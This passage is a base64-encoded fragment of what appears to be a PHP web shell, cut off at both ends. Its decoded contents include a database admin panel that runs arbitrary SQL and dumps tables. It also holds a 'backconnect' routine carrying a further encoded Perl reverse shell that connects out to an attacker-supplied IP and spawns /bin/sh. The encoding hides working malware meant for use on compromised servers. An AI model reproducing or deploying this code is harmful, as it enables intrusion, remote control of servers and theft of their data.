kdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7IA0KICAgICAgICAgICAgbWFrZWhpZGUoJ3RhYmxlbmFtZScsICR0YWJsZW5hbWUpOyANCiAgICAgICAgICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOyANCiAgICAgICAgICAgIHAoJGRiZm9ybSk7IA0KICAgICAgICAgICAgcCgnPC9mb3JtPicpOyANCiAgICAgICAgICAgIGlmICgkdGFibGVuYW1lIHx8ICgkcnVucXVlcnkgJiYgJHNxbF9xdWVyeSkpIHsgDQogICAgICAgICAgICAgICAgaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgeyANCiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsgDQogICAgICAgICAgICAgICAgICAgICRyb3dkYiA9IGFycmF5KCk7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkcm93ZGJbXSA9ICRyb3c7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5GaWVsZDwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+VHlwZTwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+TnVsbDwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+S2V5PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5FeHRyYTwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8L3RyPicpOyANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kcm93WydUeXBlJ10uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiRyb3dbJ0tleSddLicmbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiRyb3dbJ0RlZmF1bHQnXS4nJm5ic3A7PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB0YmZvb3QoKTsgDQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkb2luZyA9PSAnaW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7IA0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4kdGFibGVuYW1lKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkcm93ZGJbXSA9ICRyb3c7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAkcnMgPSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzxoMj5JbnNlcnQgbmV3IGxpbmUgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCRkYmZvcm0pOyANCiAgICAgICAgICAgICAgICAgICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgICAgICAgICAgICAgICAgICBtYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snRmllbGQnXV0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9ICcnOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFsdWU9Ikluc2VydCIgLz48L3RkPjwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgcCgnPC90YWJsZT48L2Zvcm0+Jyk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOyANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcXVlcnkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKHF5KCRxdWVyeSkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDogDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxOiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWxsb3dlZGl0ID0gMTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRnZXRudW1zcWwpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRhYmxlbmFtZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoJHF1ZXJ5KTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCRtdWx0aXBhZ2UpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgkbGVuKTwvc3Bhbj48L3RkPiIpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8L3RyPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzYmcgPSBiZygpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGluc2lkZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gJyBBTkQgJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCRiMSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRiMSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRiZm9vdCgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHAoJG11bHRpcGFnZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAyOiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7IA0KICAgICAgICAgICAgICAgICR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOyANCiAgICAgICAgICAgICAgICAkdGFibGVkYiA9IGFycmF5KCk7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsgDQogICAgICAgICAgICAgICAgICAgICRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOyANCiAgICAgICAgICAgICAgICAgICAgJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOyANCiAgICAgICAgICAgICAgICAgICAgJHRhYmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7IA0KICAgICAgICAgICAgICAgICAgICAkdGFibGVfbnVtKys7IA0KICAgICAgICAgICAgICAgICAgICAkdGFibGVkYltdID0gJHRhYmxlOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7IA0KICAgICAgICAgICAgICAgIHVuc2V0KCR0YWJsZSk7IA0KICAgICAgICAgICAgICAgIHAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOyANCiAgICAgICAgICAgICAgICBtYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsgDQogICAgICAgICAgICAgICAgcCgkZGJmb3JtKTsgDQogICAgICAgICAgICAgICAgcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQ+TmFtZTwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZD5Sb3dzPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgaWYgKCRoaWdodmVyKSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+RW5naW5lPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5Db2xsYXRpb248L3RkPicpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7IA0KICAgICAgICAgICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiR0YWJsZVsnUm93cyddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydVcGRhdGVfdGltZSddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRoaWdodmVyKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kdGFibGVbJ0NvbGxhdGlvbiddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgcCgnPC90cj4nKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZD4mbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kZGF0YV9zaXplLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPC90cj4nKTsgDQoNCiAgICAgICAgICAgICAgICBwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOyANCiAgICAgICAgICAgICAgICBtYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOyANCiAgICAgICAgICAgICAgICBmb3JtZm9vdCgpOyANCiAgICAgICAgICAgICAgICBwKCI8L3RhYmxlPiIpOyANCiAgICAgICAgICAgICAgICBmcigkcXVlcnkpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCiAgICB0YmZvb3QoKTsgDQogICAgQG15c3FsX2Nsb3NlKCk7IA0KfS8vZW5kIHNxbCBiYWNrdXAgDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsgDQogICAgISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyANCiAgICAhJHlvdXJwb3J0ICYmICR5b3VycG9ydCA9ICcxMjM0NSc7IA0KICAgICR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsgDQoNCiAgICAkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4gDQogICAgICAgICJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4gDQogICAgICAgICJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUIi4